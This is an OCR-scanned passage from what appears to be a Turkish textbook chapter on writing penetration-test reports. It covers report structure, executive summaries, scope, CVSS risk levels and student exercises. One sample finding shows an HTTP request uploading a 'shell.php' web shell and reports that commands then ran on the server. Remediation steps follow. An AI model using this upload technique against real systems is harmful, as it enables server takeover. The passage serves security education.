Uretip Uretmedigini gbzlemleyiniz, kimlik dogrulama mekanizmasinin atlatihp atlatilamadigini tespit
ediniz ve elde ettiginiz bulgular dogrultusunda zafiyetin varligini degerlendiriniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.

Calismanizi yaparken degerlendirme olgutlerini dikkate aliniz.
\ J
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3.2. ZAFIiYET TESPIT RAPORU HAZIRLAMA

Zafiyet testi raporu, gergeklestirilen glivenlik testleri sonucunda elde edilen bulgularin sunuldugu resmi
bir dokiimandir. Bu rapor, test siirecinde tespit edilen glivenlik agiklarini, bu aciklarin sistem (izerindeki
potansiyel etkilerini ve s6z konusu risklerin nasil giderilebilecegine yonelik onerileri igerir. Zafiyet testi
sistemlerdeki glivenlik aciklarini tespit eder, sizma testi ise bulunan aciklari gercekten istismar etmeye
calisir ve raporlara bu sireg yansir.

Sizma testi slireci yalnizca zafiyetleri bulmakla sinirli degildir. Bu zafiyetlerin dogru sekilde raporlanmasi,
yapilan ¢alismanin en kritik asamasini olusturur ¢iinkl rapor, teknik ekiplerin gerekli dizeltmeleri
yapabilmesi ve yoneticilerin riskleri degerlendirebilmesi icin temel referans kaynakdir.

Sizma testi raporlari genellikle belirli bir yapi cercevesinde hazirlanir. Bu yapi icinde testin kapsamini ve
amacini agiklayan 6zet bolimd, kullanilan yontemleri iceren metodoloji kismi, tespit edilen glivenlik
aciklarinin detayli olarak aciklandigi bulgular bolimi ve bu aciklarin giderilmesine yonelik ¢6zim
onerilerinin yer aldigi iyilestirme rehberi bulunur.

iyi hazirlanmis bir sizma testi raporu, sadece teknik bilgileri aktarmakla kalmaz ayni zamanda kurumun
glvenlik seviyesini artirmaya yonelik somut adimlar atilmasini saglar. Bu nedenle rapor, sizma testinin
en 6nemli ¢iktisi olarak kabul edilir.

Etkili bir sizma testi raporu, belirli bir diizen ve mantik cercevesinde hazirlanmalidir. Bu yapi sayesinde
elde edilen bulgular hem teknik ekipler hem de is birimleri tarafindan dogru sekilde anlasilabilir ancak
raporun icerigini olustururken en énemli noktalardan biri, bu raporun kimler tarafindan okunacagini
bilmektir ¢linkl her paydasin beklentisi ve ihtiya¢ duydugu bilgi seviyesi farklidir. Sizma testi raporlari
genel olarak su l¢ ana hedef kitleye hitap eder:

« Teknik Paydaslar

Raporun en genis kismi teknik ekipler icin hazirlanir. Bu grup; yazilim gelistiriciler, sistem yoneticileri ve
BT destek ekiplerinden olusur. Bu paydaslar, tespit edilen glivenlik agiklarinin neden ortaya ¢iktigini ve
bu aciklarin nasil giderilecegini detayli sekilde bilmek ister. Web uygulamalarina yénelik yapilan sizma
testlerinde rapordan en ¢ok yazilim gelistiriciler faydalanir. Ag altyapisina yonelik testlerde ise sistem ve
ag ekipleri bu raporu dogrudan kullanir. Bu nedenle raporun blytk bolimu teknik detaylar, kanitlar ve
¢6ziim adimlarini icerecek sekilde bu kitleye yonelik hazirlanmalidir.

- Giivenlik Paydaslari

Guvenlik ekipleri genellikle sizma testinin yapilmasini talep eden ve silireci yoneten taraftir ancak
¢ogu zaman zafiyetlerin dogrudan giderilmesinden sorumlu degillerdir. Bunun vyerine ilgili ekiplerle
koordinasyon kurarak sirecin dogruilerlemesini saglar. Bu grup icin raporda risklerin dnceliklendirilmesi,
kritik zafiyetlerin belirlenmesi, hangi aciklarin dncelikli olarak giderilmesi gerektigi gibi konular blylk
Onem tasir.

Guvenlik ekipleri genellikle raporun tamamini inceler ancak igerigin %10-20’lik kismi dogrudan bu
kitleye rehberlik edecek sekilde hazirlanmalidir.

« s Paydaslar

is paydaslari; yoneticiler, proje sahipleri ve karar verici konumda olan kisilerdir. Bu kisiler genellikle
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teknik detaylardan ziyade glivenlik agiklarinin kuruma olan etkisini anlamak ister. Bu nedenle raporda
glvenlik aciklarinin is siireglerine etkisi, olasi maddi kayip ve itibar kayiplariile risklerin kurum agisindan
onemi sade ve anlasilir bir dil kullanilarak ifade edilmelidir. Bu bolim, teknik detaylardan arindiriimis
olmali ve toplam raporun %5-10'luk kismini olusturmalidir.

Sizma Testi Raporunda Bulunmasi Gereken Béliimler

Sizma testi raporunun etkili, anlasilir ve profesyonel bir sekilde hazirlanabilmesi icin belirli yapi ve diizen
icinde olusturulmasi gerekir. Bu yapi hem teknik ekiplerin gerekli aksiyonlari almasini hem de yonetim
birimlerinin riskleri dogru degerlendirmesini saglar. Bu kapsamda, bir sizma testi raporunda su temel
boltimlerin yer almasi beklenir:

- Kapak sayfasi

« icindekiler bélimi

« Test kapsami

- Varsayimlar ve sinirlamalar
« Kullanilan metodoloji ve test tiri
- Risk degerlendirme yontemi
- Zafiyetlerin Ozeti

- Zafiyet detaylari

« Onerilen ¢éziimler

« Eylem plani

« Genel sonug ve tavsiyeler

« Ekler bolimi

« lletisim bilgileri

Sizma Testi Raporunun Temel Bilesenleri

Raporun hangi hedef kitlelere hitap ettigini belirledikten sonra, etkili ve anlasilabilir bir sizma testi
raporu temel olarak U¢ ana boliimden olusur.

1. Giris (Introduction)
- Kapak

« icindekiler

« Ozet

« Kapsam (Scope)

« Metodoloji

« Risk degerlendirme yaklasimi
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2. Zafiyet Detaylari (Vulnerability Write-Ups)
« Zafiyetlerin 6zeti

- Zafiyet detaylari

+ Teknik kanitlar

« Etki (Impact)

« COzUm Onerileri

3. Sonug (Conclusion & Recommendations)
« Genel degerlendirme

+ Risk durumu

« Onceliklendirme

« Tavsiyeler

« Aksiyon plani

+ Ekler

3.2.1. Sizma Testi Raporunun Giris Boliimii

Giris bolima, raporun temel gergevesini olusturdugu icin kapak, icindekiler, 6zet, kapsam, metodoloji ve
risk degerlendirme yaklasiminiicermelidir ¢linkl bu boliim, okuyucuya daha raporun basinda testin neyi
kapsadigini, nasil gergeklestirildigini ve elde edilen bulgularin hangi kriterlere gore degerlendirildigini
actk ve hizli bir sekilde sunar. Kapak ve icindekiler, raporun diizenini ve erisilebilirligini saglarken 6zet,
teknik detaylara girmeden genel durumu anlatir. Kapsam, hangi sistemlerin test edildigini belirler,
metodoloji testin hangi yontemlerle yapildigini gosterir ve risk degerlendirme yaklasimi ise bulgularin
hangi 6lclitlere gbére 6nem derecesine ayrildigini agiklar. Boylece hem teknik hem de teknik olmayan
paydaslar, raporun geri kalanini dogru baglamda degerlendirebilir.

3.2.1.1. Ozet (Summary)

Sizma testi raporunun en 6nemli boélliimlerinden biri 6zet kismidir. Bu boélim, okuyucunun teknik
detaylara girmeden yapilan degerlendirmenin sonucunu hizli ve net bir sekilde anlayabilmesini saglar.
Elde edilen bulgulari, gercek diinyadaki is etkileri ve glivenlik riskleri ile iliskilendirerek anlamli hale
getirir. Ozet bolimi genellikle raporun basinda yer alir ve teknik bilgisi olmayan bir kisinin bile su
sorulara cevap bulabilmesini saglamalidir:

« Hangi sistem veya uygulama test edildi?

+ Test sonucunda hangi bulgular elde edildi?

« Bu bulgular kurum agisindan ne ifade ediyor?

« Bundan sonra hangi adimlar atilmalidir?
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Ozetin dogru hazirlanabilmesi icin diger tiim bélimler tamamlandiktan sonra yazilmasi dnerilir ¢iinkii
detaylar netlesmeden yapilan bir 6zet, bulgulari eksik veya yanls yansitabilir.

iyi Bir Ozetin Yapisi: Ozet tek parca halinde veya béliinmis olarak hazirlanabilir ancak her durumda
Gorsel 3.122°deki unsurlari icermelidir.

@ Genel Bakis /N Sonugclar

Test edilen sistem veya uygulama nedir? Test slrecinde hangi bulgular elde edildi?
Testin amaci nedir? Sistem genel olarak giivenli mi?

Kapsam neydi ve ne kadarina erisilebildi? Hangi tar zafiyetler tespit edildi?

Aciklar giderilmezse ne gibi sonuclar Kurumun atmasi gereken temel adimlar nelerdir?
dogurabilir? Bu sorunlar bilyiik bir yatinm mi gerektiriyor

Geérgek bir saldirgan bu agiklar yoksa hizli céziimlerle giderlebilir mi?

nasil kullanabilir?

Gérsel 3.122: lyi bir dzet yapisi

Ozet bélimi raporun genel hatlarini belirler. Asirni teknik bir anlatim, is paydaslarinin

m konudan uzaklasmasina neden olur. Fazla yizeysel bir anlatim ise glivenlik ekiplerinin
aksiyon almasini zorlastirir. Bu nedenle 6zet hazirlanirken hedef kitleye uygun dil kullanmak
ve gerekli dengeyi saglamak biyiik énem tasir. Ozet béliimiine gegmeden &nce rapor
kapagi, icindekiler kismi (Rapor sonunda olusur.) ve kapsam belirtilerek bilgi verilmelidir.
Bazi durumlarda tek bir 6zet bolimi hem is hem de glvenlik paydaslarinin ihtiyaclarini
karsilamakta yetersiz kalabilir. Bu gibi durumlarda 6zet iki ayri baslik altinda (6zet-yonetici
Ozeti) sunulabilir.

Yonetici Ozeti (Executive Summary)

Bu bolim, teknik detaylardan arindirilmis sekilde hazirlanir ve dogrudan is paydaslarina hitap eder.
Amag; glivenlik durumunu, mevcut riskleri ve bu risklerin is Gizerindeki etkisini sade bir dil ile anlatmakdr.
Ayrica acil olarak alinmasi gereken aksiyonlar da bu bolimde vurgulanir.
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Ornek Yonetici Ozeti

Sizma testi dersi firmasi tarafindan ... Agustos 2026 — ... Agustos 2026 tarihleri arasinda hedef sistemler
Uzerinde kapsamli bir sizma testi gerceklestirilmistir. Test sirecinde belirlenen kapsam dahilindeki web
uygulamalari ve disa acik sistemler, manuel ve otomatik test yontemlerinin birlikte kullaniimasiyla test
edilmistir.

Calisma sirecinde 6ncelikle otomatik glivenlik tarama araclari ile genel bir inceleme yapilmis, ardindan
bu araglarin tespit edemeyecegi karmasik senaryolar manuel test teknikleri ile degerlendirilmistir.
incelemeler sirasinda giincel giivenlik standartlari ve yaygin saldiri ydntemleri dikkate alinarak sistemin
farkh bilesenleri detayli sekilde ele alinmistir.

Gergeklestirilen testler sonucunda toplam 12 giivenlik agigi ve bunlar igin iyilestirme Onerisi tespit
edilmistir. Bu bulgular arasinda en yiiksek risk seviyesi 8.7, en dislik risk seviyesi 3.1 olarak belirlenmis
ve genel risk ortalamasi 5.4 olarak hesaplanmistir.

Teknik degerlendirmelerde, kullanici girdilerinin yeterince filtrelenmedigi bazi alanlarda komut
enjeksiyonu (command injection) zafiyetleri tespit edilmis ve bu agikliklarin istismar edilmesi sonucunda
sistem Uzerinde yetkisiz komut calistirilabildigi gézlemlenmistir. Bunun yani sira oturum yonetimi
slreglerinde bazi zayifliklar bulunmus ve kullanici islemlerinin farkli oturumlar Uzerinden tekrar
kullanilabildigi senaryolar belirlenmistir. Bu durum, yetkisiz islem gerceklestiriimesine ve sistemin
kotuye kullanilmasina olanak taniyabilecek riskler barindirir.

Yerel ag Uzerinde gergeklestirilen testlerde ise bazi sistemlerin zayif yapilandirmalar nedeniyle giivenlik
riski tasidig1 gorilmustir. Ozellikle varsayilan ayarlarla calisan ag cihazlari ve yeterli erisim kontroliine
sahip olmayan yOnetim araylzleri tespit edilmistir. Bununla birlikte glincelligini yitirmis yazilim ve
servislerin kullanildigi sistemlerin mevcut oldugu belirlenmis olup bu durum, bilinen gtivenlik aciklarinin
istismar edilmesi agisindan risk olusturur.

Bazi servislerde kullanilan SSL sertifikalarinin gecerlilik stirelerinin sona yaklasmis oldugu tespit edilmis
ve bu durumun ilerleyen siiregte glivenli iletisim agisindan sorun olusturabilecegi degerlendirilmistir.
Bununla birlikte, bazi sistem bilesenlerinde glincel olmayan yazilim stiriimleri de belirlenmistir.

Test slresince tespit edilen bazi zafiyetler tek basina kritik etki yaratmasa da bir saldirgan tarafindan
bir arada kullanildiginda daha ciddi saldiri senaryolarina zemin hazirlayabilecek niteliktedir. Bu nedenle
yalnizca yiiksek riskli agiklarin degil orta seviyede degerlendirilen zafiyetlerin de giderilmesi, sistemlerin
genel glivenlik seviyesinin artirilmasi acisindan édnem tasir.

Gergeklestirilen degerlendirme sonucunda 6nerilen iyilestirmelerin uygulanmasiyla birlikte sistemlerin
glvenlik seviyesinin 6nemli olglide artirilabilecegi degerlendirilmistir.

3.2.1.2. Kapsam ve Metadoloji

Sizma testi raporlarinda kapsam ve metodoloji bolimd, gerceklestirilen test ¢alismalarinin sinirlarini
ve nasil uygulandigini aciklayan temel boélimlerden biridir. Bu boliim, test slirecinin hangi sistemleri
kapsadigini, hangi alanlarin degerlendirme disinda birakildigini ve testlerin hangi yontemler kullanilarak
gerceklestirildigini ortaya koyar. Boylece raporu inceleyen kisiler, elde edilen bulgularin hangi sartlar
altinda dretildigini dogru bir sekilde anlayabilir.

Kapsam; sizma testi sirasinda degerlendirilen sistemleri, uygulamalari ve ag bilesenlerini tanimlar.
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Ayni zamanda test disi birakilan alanlari da agikga belirtir. Bu durum hem teknik hem de hukuki agidan

onemlidir ¢lnk testin sinirlarinin belirlenmesi, yetkisiz erisimlerin dnline gecilmesini saglar ve raporun
dogrulugunu artirir. Kapsam icerisinde genellikle test edilen IP adresleri, domainler, web uygulamalari,
API servisleri, mobil uygulamalar ve i¢-dis ag bilesenleri yer alir.

Metodoloji ise testin hangi yaklasimlar ve teknikler kullanilarak gerceklestirildigini ifade eder. Sizma
testleri genellikle bilgi toplama, tarama, zafiyet analizi, istismar ve raporlama asamalarini iceren
sistematik bir stire¢ dogrultusunda yuratildr. Bu stirecte hem otomatik araglardan hem de manuel
test tekniklerinden yararlanilir. Ayrica OWASP Top 10, OWASP API Security Top 10, MITRE ATT&CK gibi
uluslararasi kabul gormis glivenlik standartlari ve cerceveler referans alinir. Bu bélimin raporda yer
almasinin temel amaci, test siirecinin seffafligini saglamak ve elde edilen bulgularin hangi yontemler
kullanilarak ortaya cikarildigini agik¢a gdstermektir. Ayni zamanda gelecekte gerceklestirilecek tekrar
testler (re-test) icin bir referans olusturur ve givenlik ekiplerinin siireci daha iyi analiz etmesine
yardimci olur.

Ornek Kapsam

Bu sizma testi kapsaminda kurumun internet Gizerinden erisilebilen dis ag sistemleri (Dis IP adresi verilir.),
ic ag bilesenleri (6rnegin 10.0.0.5 ve 10.0.0.10), web uygulamalari, APl servisleri ve mobil uygulamalari
glvenlik agisindan degerlendirilmistir. Ayrica kullanici farkindaligini 6lgmek amaciyla e-posta tizerinden
gerceklestirilen sosyal miihendislik testleri de calismaya dahil edilmistir. Testler, 6nceden belirlenen
kapsam ve izin verilen sinirlar dogrultusunda gergeklestirilmistir. Bu sizma testi kapsaminda Uglinci
parti servisler, canli 6deme sistemleri ve lretim ortaminda kesinti riski olusturabilecek kritik bilesenler
kapsam disinda birakilmistir.

Ornek Metodoloji

Bu sizma testi g¢alismasi, sistemlerin giivenlik durumunu kapsaml sekilde degerlendirmek amaciyla
hem otomatik araglar hem de manuel test teknikleri kullanilarak gerceklestirilmistir. Test sireci; bilgi
toplama, tarama, zafiyet analizi, istismar ve raporlama asamalarini iceren sistematik bir yaklasim
dogrultusunda yaratilmustar.

ilk asamada hedef sistemler hakkinda bilgi toplanmis, ardindan agik portlar, servisler ve potansiyel
zafiyetler otomatik tarama araglariile analiz edilmistir. Tespit edilen bulgular manuel olarak dogrulanmis
ve uygun gorilen zafiyetler kontrolli bir sekilde istismar edilerek etkileri gézlemlenmistir.

Test slirecinde 6zellikle OWASP Top 10, OWASP API Security Top 10 ve MITRE ATT&CK cerceveleri
referans alinarak degerlendirme yapilmistir. Ayrica testler, belirlenen kapsam ve izin verilen sinirlar
dahilinde gerceklestirilmistir.

3.2.1.3. Risk Degerlendirme Yaklasimi

Sizma testi kapsaminda tespit edilen giivenlik agiklari, olusturabilecekleri etki ve gerceklesme
olasiliklari dikkate alinarak belirli bir risk degerlendirme yaklasimina gére analiz edilir. Bu degerlendirme
slrecinde her bir zafiyet bagimsiz olarak ele alinir ve sistem Uzerindeki potansiyel etkileri goz 6niinde

bulundurularak 6nem derecesi belirlenir.
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Risk degerlendirmesi yapilirken zafiyetin istismar edilebilirligi, sistem Uzerindeki etkisi, erisim
gereksinimleri, saldirganin elde edebilecegi yetki seviyesi gibi kriterler dikkate alinir. Ayrica
degerlendirmelerde uluslararasi standartlar ve yaygin kabul gérmis metodolojiler referans alinarak
daha tutarh ve karsilastirilabilir sonuglar elde edilmesi hedeflenir.

Zafiyetler genellikle kritik, yiksek, orta, disiik ve bilgi seviyeleri olmak lzere siniflandirilir. Kritik
seviyedeki zafiyetler sistemin tamamen ele gecirilmesine neden olabilecek agiklari ifade eder. Yiksek
seviyedeki zafiyetler ciddi veri kaybi, yetki ylkseltme gibi sonuclara yol agabilir. Orta ve diistk seviyedeki
zafiyetler ise tek basina sinirli etkiye sahip olsa da bir araya geldiklerinde daha biiytk riskler olusturabilir.
Bu yaklasimin temel amaci, tespit edilen glvenlik agiklarinin 6nceliklendirilmesini saglamak ve hangi
zafiyetlerin daha 6nce giderilmesi gerektigini belirlemektir. Béylece kurumlar, kaynaklarini daha verimli
kullanarak glvenlik seviyelerini sistematik bir sekilde artirabilir.

m 3.X Risk Degerlendirme Yaklasimi (CVSS Tabanli)

Bu sizma testi kapsaminda tespit edilen glivenlik agiklari, uluslararasi kabul gérmis CVSS (Common
Vulnerability Scoring System) v3.1 standardi esas alinarak degerlendirilmistir. Her bir zafiyet; istismar
edilebilirlik, etki seviyesi, erisim gereksinimleri gibi kriterler dogrultusunda puanlandiriimis ve bu
puanlara gore risk seviyeleri belirlenmistir.

CVSS degerlendirmesinde; saldiri vektori (AV), saldiri karmasikhgl (AC), gerekli yetkiler (PR), kullanici
etkilesimi (Ul), gizlilik (C), batinlik (1) ve erisilebilirlik (A) Gzerindeki etkiler dikkate alinmistir. Elde
edilen skorlar, Tablo 3.10'da risk seviyelerine gore siniflandiriimistir.

Tablo 3.10: Risk Seviyesi Siniflandirmasi

" Sistemin tamamen ele gecirilmesine veya kritik veri kaybina
Kritik 9.0-10.0 . . .
neden olabilecek zafiyetlerdir.
Ciddi veri sizintisi, yetki yikseltme veya sistem isleyisinde 6nemli
Yiksek 7.0-8.9 yeray Y TS
bozulmalara yol acabilir.
Belirli kosullar altinda istismar edilebilen ve diger zafiyetlerle
Orta 4.0-6.9 . . .
birlestiginde etkisi artan acgiklardir.
Sinirli etkiye sahip, genellikle bilgi toplama veya saldiri yiizeyini
Dilsiik 01-3.9 He el el v VR
artiran zafiyetlerdir.
- Dogrudan bir zafiyet olusturmayan ancak givenlik agisindan
Bilgi 0.0 .
dikkate alinmasi gereken bulgulardir.

- 14. Uygulama

Musterilerine online (¢evrim ici) bankacilik hizmeti sunan bir firma blinyesinde web uygulamasina
ve mobil uygulamaya sahiptir. Sirket, sistemlerinin giivenligini test etmek amaciyla bir sizma testi
yaptirmaya karar vermistir.
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Test kapsaminda sunlar degerlendirmeye alinmistir:
- Web Uygulamasi: https://ornekbank.com

- API Servisleri: https://api.ornekbank.com

« Mobil Uygulama (Android & iOS)

« Dig A IP Adresi: *** x* *x xkx

. i¢ Ag Segmenti: 10.10.0.0/24

Testler anonim kullanici ve yetkili kullanici bakis agilari ile gergeklestirilmistir. Test slirecinde otomatik
tarama araclari ve manuel test teknikleri kullaniimistir. Degerlendirme slirecinde OWASP Top 10 ve
MITRE ATT&CK cerceveleri referans alinmistir. Bu senaryoya gore bir sizma testi raporunun giris
bolumiinii yaziniz.

1. Adim: Kurum adi, test tarihi, rapor tarihi ve test tlrlniu belirleyerek raporun kapak sayfasini
hazirlayiniz.

2. Adim: Test kapsaminda yer alan ve kapsam disinda birakilan sistemleri belirleyerek raporun kapsam
bolimund olusturunuz.

3. Adim: Test slirecinde kullanilan yontemleri belirleyerek raporun metodoloji bolimiini hazirlayiniz.

4. Adim: Test sonuclarini genel hatlariyla 6zetleyen bir yonetici 6zeti olusturunuz.

5. Adim: Test metodolojisini ve kullanilan risk degerlendirme yaklasimini agiklayarak ilgili bolimu
hazirlayiniz.

Sira Sizde

Ozel bir hastane grubuna ait hasta yénetim sistemi ve mobil uygulamasi lizerinde sizma testi
gerceklestirilmistir. Testler hem dis agdan anonim bir saldirgan hem de sistemde kayith bir kullanici
bakis agisiyla yurttiilmustir. Test slirecinde su bulgular elde edilmistir:

« Hasta randevu sisteminde bazi parametrelerin degistirilmesiyle farkli hastalara ait bilgilere erisi-
lebildigi tespit edilmistir.

» Mobil uygulamada kullanilan API servislerinde yeterli dogrulama kontrollerinin bulunmadigi be-
lirlenmistir.

« Sistem Uzerinde ¢alisan bazi servislerin giincel olmadigi ve bilinen giivenlik agiklarina karsi savun-
masiz oldugu gorulmaustir.

» Bazi kullanici hesaplarinda zayif parola kullanimi tespit edilmistir.
Genel degerlendirmede sistemin temel islevlerini yerine getirebildigi ancak 6zellikle hasta verilerinin
gizliligi agisindan 6nemli riskler barindirdigi sonucuna ulasiimistir.

Yukaridaki senaryoya gore bir yonetici 6zeti yaziniz.
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3.2.2. Sizma Testi Raporunun Zafiyet Detaylari

Zafiyet detaylari, sizma testi raporlarinin en kapsamh kismidir ve tespit edilen glvenlik aciklarinin
detayli sekilde agiklandigi bélimdir. Bu bélimde yer alan her bir zafiyet agiklamasi; a¢igin ne oldugunu,
nerede bulundugunu, nasil tespit edildigini ve en énemlisi nasil giderilecegini acik bir sekilde ortaya
koymalidir. Bu icerik; 6ncelikli olarak gelistiriciler, sistem yoneticileri gibi teknik ekiplerin sorunlari
¢Ozebilmesi amaciyla hazirlanir. Bununla birlikte glivenlik uzmanlari ve proje yoneticileri de bu bélimu
inceleyerek siireci takip edebilir, dogrulama yapabilir ve iyilestirme ¢alismalarina katki saglayabilir.

Zafiyet aciklamalarinin anlasilir ve uygulanabilir olmasi icin her biri belirli bir dizen igerisinde
hazirlanmalidir.

Etkili bir zafiyet yazimi icin 6nerilen yapi soyledir:
Baslik: Kisa ve agiklayici olmalidir. Zafiyetin tiirii dogrudan ifade edilmelidir (6rnegin kimlik dogrulamasi

olmadan sql enjeksiyonu).

Risk Seviyesi: Tespit edilen zafiyetin 6nem derecesi belirtilir. Degerlendirme yapilirken her zafiyet
bagimsiz olarak ele alinmali ve gerekirse CVSS gibi standart bir derecelendirme sistemi kullaniimaldir.

Ozet: Zafiyetin ne oldugu ve potansiyel etkisi, teknik olmayan bir dil ile kisa ve net sekilde agiklanir.

Arka Plan: Zafiyetin nasil olustugunu ve neden 6nemli oldugunu aciklayan ek bilgiler bu boélimde
yer alir. Burada amag, 6zellikle glivenlik konusunda uzman olmayan gelistiricilerin de agigin mantigini
anlayabilmesini saglamakdtir.

Teknik Detaylar ve Kanitlar: Zafiyetin nerede ve nasil tespit edildigi detaylandirilir. Gerekli durumlarda
HTTP istek/yanit 6rnekleri, ekran gorintileri, kod parcaciklari gibi kanitlar eklenir.

Etki: Bir saldirgan tarafindan bu zafiyetin kullanilmasi durumunda neler yapabilecegi, bunun sisteme
etkisi agiklanir.

Coziim Onerileri: Zafiyetin nasil giderilecegine dair acik ve uygulanabilir adimlar sunulur. Onerilerin
yalnizca gegici 6nlemler degil dogrudan sorunun kok nedenini ortadan kaldiracak sekilde olmasi gerekir.
Ornegin girdi dogrulama tek basina yeterli olmayabilir, parametreli sorgular gibi kalici ¢éziimler tercih
edilmelidir.

Referanslar (istege Bagli): Gerekli durumlarda ilgili dokiimantasyon veya teknik kaynaklara baglantilar
eklenebilir.

Zafiyet Yazimi Ornegi

Baslik: Kimlik Dogrulamasi Olmadan Dosya Yikleme (Unrestricted File Upload)

Risk Seviyesi: Yuksek (CVSS 3.1: 8.2)

Ozet: Uygulama lizerinde yer alan dosya yiikleme fonksiyonunda gerekli giivenlik kontrollerinin
uygulanmadigi tespit edilmistir. Bu durum, saldirganlarin zararli dosyalar yikleyerek sistem (zerinde
yetkisiz islemler gerceklestirmesine olanak taniyabilir.

Arka Plan: Dosya ylikleme mekanizmalari, kullanicidan alinan dosyalarin sunucuya aktarilmasini saglar
ancak bu sirecte dosya tird, icerik ve uzanti kontrolleri yeterli sekilde yapilmazsa saldirganlar bu alani
kétiiye kullanabilir. Ozellikle sunucu tarafinda yiiritilebilir dosyalarin yiiklenmesine izin verilmesi,
sistemin ele gecirilmesine kadar gidebilecek ciddi riskler olusturur.
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Teknik Detaylar ve Kanitlar: Test sirasinda uygulama Gzerinde bulunan fupload endpointi incelenmistir.
Yapilan denemelerde, .php uzantili bir dosyanin herhangi bir filtreleme olmadan sisteme ylklenebildigi
gozlemlenmistir.

Génderilen Ornek istek

POST /upload HTTP/1.1

Host: hedefsite.com

Content-Type: multipart/form-data

file=shell.php

Yikleme islemi sonrasinda dosyanin su dizinde erisilebilir oldugu gorilmistir:
http://example.com/uploads/shell.php

Dosya calistirildiginda sunucu tzerinde komut calistirilabildigi dogrulanmistir.
Etki: Bu zafiyetin istismar edilmesi durumunda saldirgan sunlari yapabilir:

« Sunucu lzerinde komut calistirabilir.

« Sistem dosyalarina erisebilir.

+ Yetkisiz veri elde edebilir.

- Sistemin tamamen ele gegirilmesine yol agabilir.

Bu durum hem veri glivenligi hem de sistem bitlnligu agisindan kritik risk olusturmaktadir.

Coziim Onerileri

« Dosya yukleme islemlerinde yalnizca izin verilen dosya tirleri kabul edilmelidir (whitelist yaklasimi).
« Yiklenen dosyalar sunucu Uzerinde ¢alistirilamayacak dizinlerde saklanmalidir.

« Dosya icerikleri sunucu tarafinda kontrol edilmelidir.

- Rastgele dosya isimlendirme uygulanmalidir.

«  Web sunucusunda yiritilebilir dosya turleri kisitlanmalidir.

Referanslar
« OWASP File Upload Risks

« https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
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Bir sizma testi raporu, genel ifadelerden olusan bir metin olmamalidir. Her zafiyet, test edilen sisteme
ozel degerlendirilmelidir. Bu nedenle Gorsel 3.123"teki sorular mutlaka yanitlanmalidir.

« Zafiyet tam olarak * istismar icin hangi
nerede bulundu? | kosullar gereklidir?

* Bu agik, ilgili kurum igin * Sorunu ¢dzmek icin
ne anlama gelir? hangi adimlar atilmalidir?

Gorsel 3.123: Cevaplanmasi gereken sorular

15. Uygulama

Bir e-ticaret platformu Uzerinde gerceklestirilen sizma testinde kullanici profili sayfasinda bir glivenlik
acigl tespit edilmistir. Test sirasinda su durum gézlemlenmistir:

« Kullanici profil bilgileri /profile?id=125 seklinde gorintilenmektedir.
« URLdeki id parametresi degistirilerek farkl kullanicilarin bilgilerine erisilebilmektedir.
« Sistem, kullaniciya ait olup olmadigini kontrol etmeden verileri géstermektedir.
« Bu sayede farkl kullanicilarin su bilgileri goriintiilenebilir:
— Ad-soyadi bilgileri
— E-posta adresleri

— Siparis gecmisleri

Yukaridaki senaryoya gore bir zafiyet raporu detayi hazirlayiniz.
1. Adim: Tespit edilen zafiyetin tlrind belirleyerek kisa ve agiklayici bir baslik (title) olusturunuz.

2. Adim: Zafiyetin 6nem derecesini degerlendirerek uygun risk seviyesini (risk level) belirleyiniz (kritik,
yuksek, orta, diistk, bilgi gibi).

3. Adim: Zafiyetin ne oldugunu ve sistem lizerindeki genel etkisini teknik olmayan bir dil kullanarak 6zet
(summary) seklinde yaziniz.

4. Adim: Zafiyetin nasil olustugunu ve neden énemli oldugunu aciklayan arka plan (background)
bilgisini hazirlayiniz.

5. Adim: Zafiyetin nasil tespit edildigini ve nasil istismar edilebilecegini agiklayan teknik detaylar ve
kanitlar (technical details & evidence) bolimini olusturunuz.
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6. Adim: Bu zafiyetin bir saldirgan tarafindan kullanilmasi durumunda ortaya ¢ikabilecek sonuglari etki
(impact) bashgi altinda aciklayiniz.

7. Adim: Zafiyetin giderilmesine yonelik uygulanabilir ve kalici ¢6zim vyollarini ¢6ziim 6nerileri
(remediation) bolimiinde belirtiniz.

8. Adim: Gerekli gortilmesi halinde ilgili standartlar veya teknik dokiimanlara ait baglantilari referanslar
(references) béliminde ekleyiniz.

16. Uygulama

Bir e-ticaret platformu icin web uygulama sizma testi gerceklestirilmistir. Bu platform; kullanicilarin Griin
satin almasina, 6deme yapmasina ve indirim kuponlari kullanmasina olanak saglamaktadir. Yapilan test
sonucunda sistemin genel olarak glivenli oldugu gortlmustir ancak indirim kuponu kullaniminda bir
is mantig1 hatasi (logic flaw) tespit edilmistir. Bu zafiyet sayesinde kullanicilar ayni kuponu birden fazla
kez kullanarak haksiz kazang elde edebilmektedir.

Segenekler basliginda verilen ciimleleri béliimler kismindaki dogru boéliim adinin altina yerlestirerek
dogru Ozet yapisini olusturunuz.

Segenekler

« E-ticaret platformu Gzerinde kullanici kayit, giris, ddeme ve indirim kuponu islemlerini kapsayan bir
sizma testi gerceklestirilmistir.

« Uygulama genel olarak giivenli goriinmekle birlikte kupon dogrulama mekanizmasinda bir zafiyet
tespit edilmistir.

« Bu zafiyet, kullanicilarin ayni indirim kuponunu birden fazla kez kullanabilmesine olanak tanimakta-
dir.

« Sunucu tarafinda kupon kullanimini sinirlandiracak kontroller uygulanmali ve her kuponun yalnizca
bir kez kullanilabilmesi saglanmalidir.

« Kimlik dogrulama ve yetkilendirme mekanizmalari glicli bulunmus ancak is mantig sireclerinde
eksiklikler gozlemlenmistir.

« Saldirganlar, sistemin kupon kullanimi glincellenmeden 6nce birden fazla istek géndererek bu zafi-
yeti istismar edebilir.

« Supheli kullanim senaryolarini tespit edebilmek igin loglama ve izleme mekanizmalar gli¢lendiril-
melidir.

« Bu durum, maddi kayiplara ve kampanya sisteminin kotiiye kullanilmasina yol acabilir.

Boliimler

Genel Bakis (Overview)
Bulgular (Results)

Etki (Impact)

lyilestirme Yonii (Remediation Direction)
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17. Uygulama

Bir online egitim platformu icin web uygulama sizma testi gergeklestirilmistir. Bu platform; kullanicilarin

kurs satin almasina, iceriklere erismesine ve sinavlara katilmasina olanak saglamaktadir. Yapilan testler

sonucunda sistemin genel olarak glivenli oldugu gorilmistir ancak kullanici rol kontroliinde bir
eksiklik [IDOR (yetkisiz erisim)] tespit edilmistir. Bu zafiyet sayesinde bir kullanici, baska kullanicilarin

kurs bilgilerine ve ilerleme durumlarina erisebilmektedir.

Segenekler basliginda verilen cimleleri béliimler kismindaki dogru boliim adinin altina yerlestirerek

dogru 6zet yapisini olusturunuz.

Secenekler
